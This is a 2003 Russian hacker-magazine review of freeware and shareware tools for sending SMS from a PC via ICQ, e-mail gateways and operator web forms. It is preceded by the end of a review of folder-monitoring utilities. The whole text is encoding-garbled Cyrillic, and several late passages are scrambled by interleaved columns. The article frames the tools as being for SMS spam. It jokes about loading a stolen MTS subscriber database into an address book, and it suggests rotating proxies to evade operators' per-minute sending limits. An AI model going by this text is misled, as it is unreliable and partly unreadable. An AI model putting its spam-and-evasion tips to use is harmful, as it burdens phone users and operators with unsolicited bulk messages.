Çàìåòü, â íàøåé ýëåêòðîííîé æèçíè ìàëî ÷òî èçìåíèëîñü.<br />

Âûáîð, êàê è ïðåæäå, íåïðîñòîé. ×òî ìîæíî ïîñîâåòîâàòü<br />

Äëÿ íåïðèõîòëèâûõ ýñòåòîâ ëó÷øèì ïîäàðêîì<br />

ïî ïðàâó ñòàíåò DiFolders. Åñëè ïîïðîñèòü êàê ñëåäóåò,<br />

îí çàãîâîðèò íà ðóññêîì ÿçûêå. Èíòåðôåéñ ïðîäóìàí<br />

äî ìåëî÷åé, ïîýòîìó ðàáîòàòü ñ íèì ëåãêî è ïðîöåññ<br />

îáó÷åíèÿ íå ïðîäëèòñÿ äîëüøå ïÿòè-øåñòè ìèíóò.<br />

FolderWatch - äîáðîòíàÿ àëüòåðíàòèâà.<br />

Ïîíèìàë áû îí ìàêðîñû - öåíû<br />

áû åìó íå áûëî. È ïîòîì, ó íåãî<br />

åñòü ïàðà èíòåðåñíûõ îñîáåííîñòåé,<br />

êîòîðûå ìîãóò ïðèâëå÷ü<br />

òåáÿ áîëüøå, íåæåëè %htmltitle% è<br />

ìîäåðíîâûå èêîíêè. Òîëüêî ïîìíè,<br />

Íåî, "There is no splash screen!".<br />

Äëÿ ñàìûõ òðåáîâàòåëüíûõ òîâàðèùåé<br />

îäèí õîðîøèé ÷åëîâåê ïðèäóìàë<br />

ïðîãðàììó LogMon. Ïî-ðóññêè<br />

îíà ïîíèìàåò íå õóæå àâòîðà, òàê<br />

÷òî åñëè òåáÿ íå ïóãàåò áåçóìíîå<br />

êîëè÷åñòâî ïàðàìåòðîâ ýòîãî ìîíèòîðà<br />

- äåðçàé. Êñòàòè, ÿ íå çàáûë<br />

ñêàçàòü î òîì, ÷òî ýòî åäèíñòâåííàÿ<br />

áåñïëàòíàÿ óòèëèòà âî<br />

âñåì îáçîðå Ñóäÿ ïî âñåìó, íå<br />

çàáûë. Ðåøàé ñàì. Â ëþáîì ñëó-<br />

÷àå, êàêîé áû<br />

ïðîãîé òû íè<br />

âîñïîëüçîâàëñÿ,<br />

ïîðÿäêà â òâîèõ<br />

êàòàëîãàõ, íåñîìíåííî,<br />

ñòàíåò<br />

áîëüøå. Ýòî<br />

ÿ ìîãó òåáå ãàðàíòèðîâàòü!<br />

30 Íüþñû 1 Ôåððóì 2 Inside 3 PC_Zone 4 Âçëîì


PC_Zone<br />

ÕÀÊÅÐ\¹53\Ìàé\2003<br />

SPAM MESSAGE SYSTEM<br />

Skylord ÑÀÌ ÑÅÁÅ (sky_lord@mail.ru)<br />

ÈÌÈÒÀÒÎÐ<br />

SPAM<br />

MESSAGE<br />

SYSTEM<br />

ÑÎÔÒ ÄËß ÎÒÏÐÀÂÊÈ ÑÎÎÁÙÅÍÈÉ ÍÀ ÌÎÁÈËÜÍÛÅ ÒÅËÅÔÎÍÛ<br />

Ëþáèøü îáìåíèâàòüñÿ SMS'êàìè Åùå áû! À êòî íå ëþáèò! Áûñòðî, óäîáíî: õîòü ñâèäàíèÿ íàçíà÷àé, õîòü øïàðãàëêè íà<br />

ýêçàìåíå ïåðåäàâàé... Âîò òîëüêî â òèõîé äîìàøíåé îáñòàíîâêå íå ñ ðóêè íàáèâàòü ìåññàãè íà ìåëêîé òåëåôîííîé êëàâèàòóðå.<br />

Òàê âåäü, â ïðèíöèïå, è íå íàäî! Õî÷åøü îòïðàâëÿòü ñîîáùåíèÿ áåñïëàòíî è â êîìôîðòíûõ óñëîâèÿõ Òîãäà<br />

ïðîñòî ñàäèñü çà ëþáèìûé êîìïüþòåð, ïîäêëþ÷àéñÿ ê Ñåòè è çàíèìàéñÿ SMS-ñïàìîì, âîîáùå íå ïðèêàñàÿñü ê ìîáèëå.<br />

<br />

Íà÷èíàëîñü (äà, â îáùåì-òî, ïðîäîëæàåòñÿ è ïî ñåé<br />

äåíü) âñå ñ êóöûõ ôîðìî÷åê íà ñàéòàõ îïåðàòîðîâ äëÿ<br />

îòïðàâêè ñîîáùåíèé èç èíòåðíåòà. Êîíå÷íî, òû ñàì çíàåøü<br />

ïðî íèõ è íåîäíîêðàòíî èìè ïîëüçîâàëñÿ, òåì áîëåå<br />

÷òî â ïîñëåäíåå âðåìÿ îíè ðàáîòàþò çíà÷èòåëüíî ëó÷øå,<br />

÷åì ðàíüøå, êîãäà ìåññàãè ëèáî âîîáùå íå äîõîäèëè,<br />

ëèáî äîõîäèëè ñ áîëüøèì îïîçäàíèåì. Íî âñå ðàâíî îòïðàâêà<br />

ñ ñàéòà ñâÿçàíà ñ êó÷åé íåóäîáñòâ, äà è ñàì ôàêò<br />

òîãî, ÷òî ïðèäåòñÿ ïåðåòüñÿ íà ñòðàíèöó íóæíîãî îïåðàòîðà,<br />

ìàëî ðàäóåò...<br />

Ïîýòîìó (äà è íå òîëüêî ïîýòîìó) è ïîÿâèëèñü ïðîãðàììû,<br />

ñ ïîìîùüþ êîòîðûõ òû, åñòåñòâåííî òîæå ÷åðåç<br />

èíòåðíåò, èìååøü âîçìîæíîñòü ðåàëèçîâàòü ñåáÿ â<br />

êà÷åñòâå òåëåôîííîãî ñïàìåðà, íó èëè íà õóäîé êîíåö<br />

íàïèñàòü ëþáèìîìó (èëè íåëþáèìîìó) ñóùåñòâó ïðîòèâîïîëîæíîãî<br />

ïîëà ñàêðàìåíòàëüíîå "Privet!".<br />

Ïðàâäà, õîòÿ òàêèõ ïðîã íàïëîäèëè âåëèêîå ìíîæåñòâî,<br />

äåéñòâèòåëüíî ðàáîòàþò äàëåêî íå âñå. Ê ïðèìåðó, íà<br />

JavaSMS – èçâðàùåíèå äëÿ ýñòåòîâ :)<br />

ïðîñòîðàõ íàøåé íåîáúÿòíîé Ðîäèíû ñîâåðøåííî áåñïîëåçåí<br />

ðàçíîîáðàçíûé çàáóãîðíûé ñîôò: îáû÷íî îí íå<br />

ïðèñïîñîáëåí ê íàøèì îïåðàòîðàì è íå èìååò íè ìàëåéøåãî<br />

ïîíÿòèÿ î ñóùåñòâîâàíèè ðóññêîãî ÿçûêà. À âåäü<br />

êàê õî÷åòñÿ ïîëó÷èòü íà òåëåôîí âûøåóïîìÿíóòóþ ñàêðàìåíòàëüíóþ<br />

ôðàçó, íà÷åðòàííóþ áóêâàìè ìèëîé ñåðäöó<br />

êèðèëëèöû! :) Âïðî÷åì, ïî ðàçíûì ïðè÷èíàì àäåêâàòíî<br />

ðàáîòàòü ñ ðóññêèì ÿçûêîì íå âñåãäà ïîëó÷àåòñÿ è ó îòå-<br />

÷åñòâåííîãî ñîôòà.<br />

Ñ äðóãîé ñòîðîíû, ñðåäè ôðèâàðíûõ "íàøèõ" ïðîã îòñóòñòâóþò<br />

ñêîëü-íèáóäü ñåðüåçíûå îðãàíàéçåðû è ïëàíèðîâùèêè,<br />

ïîçâîëÿþùèå èñïîëüçîâàòü SMS íå òîëüêî<br />

äëÿ ðàçâëå÷åíèÿ, íî è ïî äåëó - ñêàæåì, äëÿ ìàññîâîé<br />

ðàññûëêè ñîòðóäíèêàì Òâîåé Ôèðìû ðàçíîãî ðîäà öåííûõ<br />

óêàçàíèé. Íî, åñëè îòêðîâåííî, òî ñ ýòèì ñïðàâèòñÿ<br />

ëþáîé îáû÷íûé ïëàíèðîâùèê, åñëè ê íåìó ïðèêðóòèòü<br />

íóæíóþ óòèëèòó (êàêóþ èìåííî, ÿ ðàññêàæó ÷óòü íèæå).<br />

À òåïåðü - áëèæå ê äåëó. Äàâàé âîçüìåì â ñâîè ìîçîëèñòûå<br />

ëàïû è êàê ñëåäóåò ïîùóïàåì ëó÷øèõ ïðåäñòàâèòåëåé<br />

íàøåãî SMS-ñîôòà.<br />

32 Íüþñû 1 Ôåððóì 2 Inside 3 PC_Zone 4 Âçëîì


Îïåðàòîð îïåðàòîðó ðîçíü!<br />

Âåñü ñîôò òåñòèðîâàëñÿ íà ìîñêîâñêèõ GSM-ÎïÑîÑàõ è ïî ðåçóëüòàòàì ó ìåíÿ ñëîæèëîñü âïå÷àòëåíèå, ÷òî áîëüøå âñåãî äëÿ "êîìïüþòåðíûõ" SMS ïðèñïîñîáëåíà ÌÒÑ: ó<br />

íåå îïåðàòèâíî ðàáîòàåò è ôîðìà íà ñàéòå, è äîñòàâêà ïî Àñüêå. Äî ÁèËàéíà è äî ÌåãàÔîíà ó ìåíÿ íå äîõîäèëè ìåññàãè èç ICQ, õîòÿ ýòî è áûëî îáåùàíî íà îôèöèàëüíîì<br />

ñàéòå. À ó Ìåãè ê òîìó æå ïåðèîäè÷åñêè ïî íåñêîëüêó äíåé íå ðàáîòàåò ôîðìà äëÿ îòïðàâêè ñ ñàéòà (íî çàòî êîãäà ðàáîòàåò, òî áåç ïðîáëåì).<br />

Ðàçóìååòñÿ, â äðóãèõ ãîðîäàõ âñå ìîæåò áûòü ñîâåðøåííî èíà÷å (âçÿòü õîòÿ áû Ïèòåð, ãäå, íàîáîðîò, ÌÒÑ åùå íàáèðàåò ñèëû, à ÌåãàÔîí - ðâåò è ìå÷åò). Ìíîãèå îïåðàòîðû<br />

â ðåãèîíàõ èìåþò ñâîè, îòëè÷íî ðàáîòàþùèå E-mail-To-SMS-ãåéòû, äåìîíñòðèðóÿ çàáîòó î êëèåíòàõ.<br />

Êàê âñå ýòî ðàáîòàåò<br />

Ñóùåñòâóåò òðè îñíîâíûõ ñïîñîáà äîñòàâêè SMS èç Ñåòè<br />

íà ìîáèëüíèê.<br />

òàêæå êíîïêà "Îòïðàâèòü". Íó, ðàçâå íå ïðåëåñòü Èäåàëîì<br />

ñðåäè ïîäîáíûõ ïðîãðàìì ëè÷íî ÿ ñ÷èòàþ ICQ<br />

SMS Sender v2.14 by Dr. Gonzo.<br />

ICQ SMS Sender<br />

Îäíà èç ïåðâûõ ïðîãðàìì äëÿ äîñòàâêè SMS<br />

(÷åðåç Email-ãåéòû)<br />

Âî-ïåðâûõ, ÷åðåç Email-ãåéòû. Ýòîò ñïîñîá áûë ïîïóëÿðåí<br />

íåñêîëüêî ëåò íàçàä è äåéñòâîâàë î÷åíü ïðîñòî:<br />

øëåøü ìûëî, äîïóñòèì, íà àäðåñ<br />

70957849147@sms.gate.ru è îíî, òðàíñôîðìèðîâàâøèñü<br />

â SMS'êó, ïîïàäàåò ê îáëàäàòåëþ ñîîòâåòñòâóþùåãî<br />

íîìåðà. Îäíàêî òàêàÿ õàëÿâà ïðîäîëæàëàñü íåäîëãî.<br />

×àñòü ãåéòîâ òèõî óìåðëà, à íà äðóãèõ ñêàçàëîñü<br />

òëåòâîðíîå âëèÿíèå Çàïàäà è òÿãà èõ âëàäåëüöåâ ê ëåãêîé<br />

íàæèâå, òàê ÷òî ãåéòû ëèáî ðåçêî ñòàëè ïëàòíûìè,<br />

ëèáî íà÷àëè ïðèïëþñîâûâàòü ê ñîîáùåíèÿì êó÷ó ðåêëàìû.<br />

Åñòåñòâåííî, ôðèâàðíûå ïðîãè â èòîãå íå ðàáîòàþò,<br />

à èñïîëüçóþùèå ïëàòíûå ãåéòû (íàïðèìåð, ïî÷òè<br />

âåñü çàðóáåæíûé ñîôò) - íàñòîé÷èâî õîòÿò äåíåã, ÷òî<br />

ñâîäèò âñþ ïîëüçó îò íèõ ïî÷òè ê íóëþ.<br />

Âîîáùå æå, îòëè÷èòü ñîôò, çàâÿçàííûé íà ãåéòû, îáû÷íî<br />

ìîæíî ïî íåîáõîäèìîñòè óêàçûâàòü â íàñòðîéêàõ<br />

àäðåñ ïî÷òîâîãî SMTP-ñåðâåðà.<br />

Íó, êòî íå âèäåë ýòîé ñòðàíèöû<br />

Äåøåâî è ñåðäèòî...<br />

ÎÑ: WinAll<br />

Ðàçìåð: 176 Êá.<br />

Ëèöåíçèÿ: Freeware<br />

Ñàéò: http://drgonzo.nm.ru<br />

Ðàáîòàåò ïðîãà, êàê ñëåäóåò èç íàçâàíèÿ, ÷åðåç SMS<br />

ñåðâèñ Àñüêè. Âñå ïðîñòî è ïîíÿòíî áåç îáúÿñíåíèé: â<br />

ôàéëå isms.ini ïðîïèñûâàåøü ñâîé UIN è ïàðîëü ê íåìó<br />

(ëó÷øå, âî èçáåæàíèå ïðîáëåì, çàâåñòè äëÿ ýòîãî äåëà<br />

îòäåëüíûé íîìåðîê), ïîòîì çàïóñêàåøü ïðîãó è ìîæåøü<br />

ðàáîòàòü. Äîñòàòî÷íî ââåñòè íîìåð â ìåæäóíàðîäíîì<br />

ôîðìàòå (íó êàê îáû÷íî +7... è òàê äàëåå),<br />

òåêñò ìåññàãè è íàæàòü "Îòïðàâèòü". Ïðîãà áûñòðî êîííåêòèòñÿ<br />

ê ñåðâåðó, ïîñûëàåò ñîîáùåíèå è îòñîåäèíÿåòñÿ.<br />

Åñëè ñîáèðàåøüñÿ êèäàòü áîëüøå îäíîé SMS'êè<br />

çà îäèí ðàç, òî âûáåðè "ãàëî÷êó" "Îñòàòüñÿ â îíëàéíå",<br />

÷òîáû íå ïðèõîäèëîñü äåðãàòü ñåðâåð Àñüêè êàæäûå<br />

ïîëìèíóòû. Âñå! Íèêàêèõ çàìîðî÷åê, íèêàêèõ íåíóæíûõ<br />

êíîïîê... Ìèíèìàëèçì è äîñòóïíîñòü ðóëÿò!<br />

ICQ SMS Sender âî âñåé ñâîåé êðàñå<br />

SMS ÷åðåç Àñüêó<br />

Âòîðîé ñïîñîá - ýòî îòïðàâêà SMS ñîîòâåòñòâóþùèì<br />

ñåðâèñîì ICQ. Òàêàÿ ôèøêà ïîÿâèëàñü â Àñüêå áóêâàëüíî<br />

ïàðó ëåò íàçàä è, íà ìîé âçãëÿä, ÿâëÿåòñÿ òåì âàðèàíòîì,<br />

êîòîðûé óñòðîèò áîëüøèíñòâî þçåðîâ. Èç îñíîâíûõ<br />

ïëþñîâ: íå òðåáóåòñÿ íèêàêèõ ëèøíèõ ïðîã, íå<br />

íàäî óêàçûâàòü îïåðàòîðà àäðåñàòà, äà è ðàáîòàåò âñå<br />

ýòî î÷åíü áûñòðî. Êñòàòè, äàííûé ñåðâèñ ïîääåðæèâàåòñÿ<br />

êðîìå Àñüêè åùå è àëüòåðíàòèâíûìè êëèåíòàìè -<br />

ñêàæåì, Trillian'îì èëè ìîåé ëþáèìîé Miranda'îé.<br />

Òðåòèé ñïîñîá - âàðèàöèÿ íà òåìó SMS-ôîðì íà ñàéòàõ<br />

Ïûòàåòñÿ ðàáîòàòü ÷åðåç SNPP, äà åùå è äåíåã<br />

õî÷åò. Óæàñ!<br />

îïåðàòîðîâ. Ïðîãðàììû ôàêòè÷åñêè çàïîëíÿþò ñîîòâåòñòâóþùèå<br />

ïîëÿ è îòñûëàþò "êàê áû çàïîëíåííóþ"<br />

ôîðìó íà web-óçåë. Äîñòîèíñòâî ýòîãî ìåòîäà â òîì,<br />

÷òî äîñòàâêà çàâèñèò ëèøü îò ñàìèõ îïåðàòîðîâ. Íåäîñòàòêè<br />

æå î÷åâèäíû: íàäî âûáèðàòü äëÿ êàæäîãî íîìåðà<br />

òåëåôîíà ñîîòâåòñòâóþùåãî ÎïÑîÑà, ïðîãðàììà<br />

äîëæíà çíàòü ïàðàìåòðû åãî ñòðàíèöû, äà ê òîìó æå<br />

ïðè òàêîì ñïîñîáå äåéñòâóþò âñå îãðàíè÷åíèÿ, íàëîæåííûå<br />

çëîáíûìè îïåðàòîðñêèìè àäìèíàìè: íàïðèìåð,<br />

ìîñêîâñêàÿ ÌÒÑ (äà è ÁèËàéí òîæå...) íå ïîçâîëÿåò<br />

îòñûëàòü ñîîáùåíèÿ ÷àùå ðàçà â ìèíóòó.<br />

Êðîìå òðåõ ïåðå÷èñëåííûõ èìåþòñÿ è äðóãèå âàðèàíòû:<br />

îòïðàâêà ÷åðåç UCP, ÷åðåç TAP èëè ïî ïðîòîêîëó<br />

SNPP - ó íàñ îíè íå ïîääåðæèâàþòñÿ, à ïîòîìó íåò è<br />

ïðîãðàìì íà èõ îñíîâå (à åñëè åñòü, òî îíè îáû÷íî íå<br />

ðàáîòàþò).<br />

<br />

Åñëè íå õî÷åòñÿ âîçèòüñÿ ñ íàñòðîéêàìè, à íóæíî áûñòðî<br />

è áåç çàòåé îòïðàâèòü SMS, òî ëó÷øå âñåãî èñïîëüçîâàòü<br />

ïðîñòåéøèå ñîôòèíû â ñòèëå "îêíî ñ êíîïêîé".<br />

 îáû÷íî íèõ íåò íè÷åãî, ÷òî ìîæåò îòâëå÷ü òåáÿ îò<br />

òâîð÷åñêîãî ïðîöåññà íàïèñàíèÿ SMS’êè: èìåþòñÿ<br />

ëèøü ïîëÿ äëÿ ââîäà ñîîáùåíèÿ è íîìåðà òåëåôîíà, à<br />

Ñðåäè äðóãèõ ïðîñòåíüêèõ óòèëèò õîòåëîñü áû åùå îòìåòèòü<br />

The Bee v1.06 by AV(T).<br />

The Bee<br />

ÎÑ: WinAll<br />

Ðàçìåð: 410 Êá.<br />

Ëèöåíçèÿ: Freeware<br />

Ñàéò: http://www.avtlab.ru<br />

Îíà ìíîãîôóíêöèîíàëüíà è ïðåäíàçíà÷åíà äëÿ òîãî,<br />

÷òîáû èìåòü â îäíîì íåáîëüøîì "ôëàêîíå", óìåùàþùåìñÿ<br />

íà äèñêåòó, ïîëíûé íàáîð ñåðâèñîâ äëÿ ðàáîòû<br />

ñ e-mail, newsgroups, ICQ. Ïîñëåäíèé êàê ðàç è äàåò<br />

íàì âîçìîæíîñòü ðàáîòàòü ñ SMS.<br />

Íàñòðîéêà ïðîãè ïðîñòà: çàïóñêàåøü, ñðàçó ïîÿâëÿåòñÿ<br />

îêíî ñ ó÷åòíûìè çàïèñÿìè - æìåøü<br />

5 Þíèêñîèä 6 X-Ñòèëü 7 Êîäèíã 8 Þíèòû 9 Quit> 33


PC_Zone<br />

ÕÀÊÅÐ\¹51\Ìàé\2003<br />

SPAM MESSAGE SYSTEM<br />

Skylord (sky_lord@mail.ru)<br />

Íåáîëüøèå ïðîãðàììêè äëÿ îòïðàâêè<br />

SMS<br />

1. SMS Sender v1.0beta by DNK_Core. Åùå îäíà íåáîëüøàÿ<br />

ñîôòèíà äëÿ ðàáîòû ñ SMS ÷åðåç Àñüêó.<br />

http://smscm.narod.ru<br />

2. MegaFon Moscow SMS Sender v1.0.74 by Nesterov<br />

Eugene. Ïðîñòåíüêàÿ óòèëèòà äëÿ äîñòàâêè SMS àáîíåíòàì<br />

ìîñêîâñêîãî ÌåãàÔîíà ÷åðåç ôîðìó íà ñàéòå.<br />

http://www.mxn.by.ru<br />

âíèçó íà êíîïêó ñî çíàêîìûì çåëåíûì öâåòî÷êîì, êàê<br />

îáû÷íî ïðîïèñûâàåøü ñâîè UIN ñ ïàðîëåì è äàâèøü íà<br />

"OK". Òåïåðü, âûáðàâ "ICQ" â âåðõíåì êíîïî÷íîì ìåíþ<br />

è ïîäêëþ÷èâøèñü ê ñåðâåðó, òû ìîæåøü îòñûëàòü SMS.<br />

Íîìåð òåëåôîíà ïèøè â ïîëå "Ñîîáùåíèå äëÿ" ïî ïðàâèëàì<br />

ICQ SMS Sender. Îáèäíî, ÷òî òåêñò ìåññàãè íå<br />

áóäåò ñàì äåëèòüñÿ ÷àñòè, åñëè åãî ðàçìåð ïðåâûøàåò<br />

The Bee - ìàëåíüêèé, íî ìîùíûé<br />

ñòàíäàðòíûå 160 ñèìâîëîâ... Çàòî åñòü àâòîìàòè÷åñêàÿ<br />

òðàíñëèòåðàöèÿ.<br />

Ïðîãðàììà íè÷åãî íå ìåíÿåò â ðååñòðå, à ñîõðàíÿåò<br />

âñå ïàðàìåòðû â ini-ôàéëå, òàê ÷òî åå äåéñòâèòåëüíî<br />

ìîæíî áåçáîëåçíåííî âñåãäà íîñèòü ñ ñîáîé.<br />

<br />

Åñëè ñêðîìíîñòü è ìèíèìàëèçì òåáÿ óæå íå óñòðàèâàþò,<br />

òî ïåðåõîäè ê áîëåå ñåðüåçíûì âàðèàíòàì, ó êîòîðûõ<br />

õîòÿ áû íàëè÷åñòâóåò àäðåñíàÿ êíèãà è êàê ìèíèìóì íåêîòîðûå<br />

ôóíêöèè àäìèíèñòðèðîâàíèÿ. Òàêîãî ñîôòà, êàê<br />

íè ñòðàííî, äàæå áîëüøå, ÷åì ïðèìèòèâíîãî.<br />

Ïî ìîåìó ñêðîìíîìó ìíåíèþ, êîòîðîå, êñòàòè, ïîääåðæèâàåò<br />

áîëüøèíñòâî ïîëüçîâàòåëåé Ñåòè, îäíîé èç<br />

ëó÷øèõ "ñåðüåçíûõ" ïðîãðàìì ÿâëÿåòñÿ SMS<br />

Communicator v4.2B by Ilya Zaitcev (SMSep Software).<br />

SMS Communicator<br />

ÎÑ: WinAll<br />

Ðàçìåð: 750 Êá.<br />

Ëèöåíçèÿ: Shareware<br />

Ñàéò: http://www.smsep.com<br />

Êîììóíèêàòîð èñïîëüçóåò ìåòîä äîñòàâêè SMS ÷åðåç<br />

ôîðìû íà ñîîòâåòñòâóþùèõ ñàéòàõ. Ïàðàìåòðû îïåðàòîðîâ<br />

õðàíÿòñÿ â ñïåöèàëüíûõ ïëàãèíàõ, ÷òî äàåò âîçìîæíîñòü<br />

áåçáîëåçíåííîãî îáíîâëåíèÿ ïðîãðàììû.<br />

Ïðèÿòíî ðàäóåò àäðåñíàÿ êíèãà - îíà ïîääåðæèâàåò<br />

ãðóïïû ïîëüçîâàòåëåé è ïîçâîëÿåò òàñêàòü îòäåëüíûõ<br />

èõ ïðåäñòàâèòåëåé òóäà-ñþäà. Àäðåñàòàìè ñîîáùåíèÿ<br />

òîæå ìîãóò áûòü è îòäåëüíûå þçåðû, è öåëûå èõ ãðóïïû,<br />

÷òî îòêðûâàåò ñîâåðøåííî íîâûå ãîðèçîíòû. Òàê è<br />

ïðåäñòàâëÿþ ñåáå äëè-è-èííóþ ãðóïïó, êóäà âêëþ÷åíû<br />

âñå àáîíåíòû èç óêðàäåííîé áàçû ÌÒÑ, áëàãî, ÷òî ôîðìàò<br />

àäðåñíîé êíèãè ïðîñòîé, à ñîîòâåòñòâóþùèé êîíâåðòîð<br />

íå ñîñòàâèò òðóäà íàïèñàòü è ñàìîìó. Òàê ÷òî,<br />

SMS Communicator. Îïòèìàëüíûé âûáîð!<br />

ôàêòè÷åñêè, SMS Communicator<br />

- ýòî ïîäàðîê äëÿ ñïàìåðîâ... ;)<br />

Îãîð÷àåò îòñóòñòâèå "ãàëî÷åê" äëÿ îòïðàâêè ìåññàã íà<br />

ðóññêîì, íî çàòî åñòü øàáëîíû, êîòîðûå ïîìîãàþò, åñëè<br />

íàäî äåëàòü ïåðèîäè÷åñêóþ ðàññûëêó îäèíàêîâûõ<br />

ñîîáùåíèé. Íå õâàòàåò ëèøü ïëàíèðîâùèêà, íî, ìîæåò,<br />

è åãî êîãäà-íèáóäü íàïèøóò<br />

Åùå èíòåðåñíî òî, ÷òî âñå SMS ñòàíîâÿòñÿ â î÷åðåäü "íà<br />

îòïðàâêó" (ìåíþ "Ñîîáùåíèå" - "Î÷åðåäü" - "Ïðîñìîòð"),<br />

à åñëè êàêîå-òî ïîñëàòü íå óäàëîñü, òî îíî íå èñ÷åçàåò, à<br />

ïðîñòî ïåðåìåùàåòñÿ â êîíåö î÷åðåäè (ïàðàìåòð ðàçäåëà<br />

"Ïðè îøèáêàõ ïåðåñûëêè" îêíà îáùèõ íàñòðîåê). Çàìå÷àòåëüíûé<br />

ñïîñîá îáëåã÷èòü áðåìÿ îäíîìèíóòíîé ïàóçû<br />

ìåæäó ìåññàãàìè, îòïðàâëÿåìûìè ñ ñàéòîâ îïåðàòîðîâ!<br />

Ïîñòàâèë â î÷åðåäü ñîòíþ SMS'îê è èäè ÷èòàòü<br />

www.xakep.ru, ïîêà îíî òàì â ôîíå îòñûëàåòñÿ (ðåçóëüòàòû<br />

äîñòàâêè ìîæíî ïîòîì ïîñìîòðåòü â "Èñòîðèè")... Êðàñîòà!<br />

Èëè æå äåéñòâóåì áîëåå ýëåãàíòíî: çàñòàâëÿåì<br />

Êîììóíèêàòîðà êîííåêòèòüñÿ ê ñòðàíèöàì îïåðàòîðîâ ÷åðåç<br />

proxy-ñåðâåðû (ìîæåøü âïèñàòü ñêîëüêî óãîäíî -<br />

ïðîãà áóäåò èñïîëüçîâàòü èõ â ïðîèçâîëüíîì ïîðÿäêå).<br />

SMS Communicator - ñàì ñåáå ãåéò<br />

Ñåðüåçíûå ïðîãðàììû<br />

äëÿ îòïðàâêè SMS<br />

Ïðîáëåìà "îäíîé ìèíóòû" ðåøàåòñÿ ñ ïîëïèíêà!<br />

Íî è ýòî åùå íå âñå! SMS Communicator ïîçâîëÿåò îðãàíèçîâàòü<br />

ñâîé ïåðñîíàëüíûé ãåéò Email - SMS è íå<br />

îáðàùàòüñÿ çà ïîìîùüþ êî âñÿêèì ïëàòíûì ðåñóðñàì.<br />

Òû ìîæåøü íàñòðîèòü íåîãðàíè÷åííîå ÷èñëî ïî÷òîâûõ<br />

àêêàóíòîâ (ìåíþ "Âèä" - "Íàñòðîéêè ïî÷òû") è ôèëüòðîâ,<br />

â ñîîòâåòñòâèè ñ êîòîðûìè áóäóò âûïîëíÿòüñÿ ðàçëè÷íûå<br />

äåéñòâèÿ. Ïðè÷åì íàñòðàèâàåòñÿ âñå î÷åíü ãèáêî,<br />

è êðîìå ïðîñòîé ïåðåñûëêè ñåáå (èëè íå ñåáå) íà<br />

òåëåôîí ïîëó÷åííîé ïî÷òû, äîïóñêàåòñÿ, íàïðèìåð, âûïîëíÿòü<br />

âíåøíèå ïðèëîæåíèÿ â çàâèñèìîñòè îò íàëè÷èÿ<br />

êëþ÷åâûõ ñëîâ â ïîëÿõ çàãîëîâêà èëè òåëå ïèñüìà... Â<br />

îáùåì, âàðèàíòîâ ìíîãî - ïîèãðàòüñÿ åñòü ñ ÷åì.<br />

Êîíå÷íî, ïðîãðàììå åùå íå õâàòàåò íåêîòîðûõ ôóíêöèé,<br />

1. SMSTation íî è ñåé÷àñ v0.60b îíà ÿâëÿåòñÿ build 408 ëó÷øèì by Spaels. èíñòðóìåíòîì Îòëè÷íàÿ<br />

äëÿ ñîôòèíà, äîñòàâêè ïî SMS-ñîîáùåíèé. óäîáñòâó äàæå â ÷åì-òî  áåñïëàòíîé ïðåâîñõîäÿùàÿ âåðñèè<br />

äîñòóïíû SMS Communicator. âñå ôè÷è, íî Èíòåðôåéñ äàæå íåñìîòðÿ â ñòèëå íà ICQ, ýòî, àäðåñíàÿ<br />

êíèãà àâòîðó ñ èíäèâèäóàëüíûì 210 ðóáëåé, êîòîðûå ëîãîì îí äëÿ ïðîñèò êàæäîãî çà àáî-<br />

ðåãè-<br />

õî÷åòñÿ<br />

ïîñëàòü<br />

ñòðàöèþ... íåíòà, ïîääåðæêà Îíî, ÈÌÕÎ, ïëàãèíîâ òîãî ñòîèò. è àâòîîáíîâëåíèÿ, ðàáîòà<br />

èç êîìàíäíîé ñòðîêè... Åäèíñòâåííîå, ÷òî îáèäíî<br />

ñàéò ðàçðàáîò÷èêà ïåðååõàë, à íà<br />

íîâîì íåò íèêàêèõ óïîìèíàíèé îá SMSTation. Ñåé÷àñ<br />

Ïðèøëî ïðîãðàììó âðåìÿ ìîæíî ïîãîâîðèòü ñêà÷àòü, î íàïðèìåð, ïðîãðàììàõ, âîò êîòîðûå, çäåñü. èñïîëüçóÿ<br />

http://castlex.narod.ru/sms.rar<br />

SMS, ïîìîãóò òåáå ñóùåñòâåííî ïîâûñèòü<br />

SMStation. Ñêðîìíåíüêî, íî ñî âêóñîì<br />

ôóíêöèîíàëüíîñòü 2. SMS Express v1.3.8b òâîåãî by êîìïüþòåðà. Aleksey Potapovich. Ñèìïàòè÷íàÿ<br />

äåëîì ïðîãðàììêà. ïðåäëàãàþ Îòñûëàåò îáðàòèòü ÷åðåç ñâîé ôîðìû, áëàãîñêëîí-<br />

èìå-<br />

Ïåðâûì<br />

íûé åò âçîð àäðåñíóþ íà ñîôòèíó êíèãó è ïî âåäåò èìåíè ëîã CMD2SMS äîñòàâëåííûõ v.2.2 by Âàëåðèé<br />

SMS'îê. Äîìîæèðîâ.<br />

http://www.smsexpress.nm.ru<br />

CMD2SMS<br />

3. SMS Live v1.0build12 by SoloSOFT Studio. Ñêðîìíàÿ<br />

WinAll íà âèä - êîíñîëü íåñëîæíàÿ ïðîãðàììêà ñ àäðåñíîé êíè-<br />

ÎÑ:<br />

Ðàçìåð: ãîé... Îáèäíî, 440 Êá. ÷òî íå ïîääåðæèâàåò íèêîãî, êðîìå<br />

Ëèöåíçèÿ: ìîñêîâñêèõ Freeware ÌÒÑ è ÁèËàéí.<br />

Ñàéò: http://www.smsexpress.nm.ru<br />

http://www.myfreeware.narod.ru<br />

Çàíèìàåòñÿ 4. Text2Phone ýòîò v1.6.4 øåäåâð by ïðîãðàììèñòêîé Âàëåðèé Äîìîæèðîâ. ìûñëè, Óòèëèòà<br />

óæå, ïîñâÿùåíà íàâåðíîå, íå äîãàäàëñÿ, òîëüêî è íå îòïðàâêîé ñòîëüêî îòïðàâêå SMS èç SMS, êî-<br />

êàê<br />

òû<br />

ìàíäíîé íî è ñ ýòèì ñòðîêè. âïîëíå Èäåàëüíàÿ ñïðàâëÿåòñÿ. âåùü äëÿ Ìåòîäû ïðèêðó÷èâàíèÿ äîñòàâêè - ê<br />

äðóãèì ÷åðåç ïðîãðàììàì ôîðìû ñàéòîâ (îðãàíàéçåðàì îïåðàòîðîâ, ëèáî è óòèëèòàì, ÷åðåç ICQ. ïîäîáíûì<br />

Èìååòñÿ MotherBoardMonitor'ó) àäðåñíàÿ êíèãà ñ â âîçìîæíîñòüþ êà÷åñòâå «ñèãíàëüíîãî èìïîðòà ìîäóëÿ».<br />

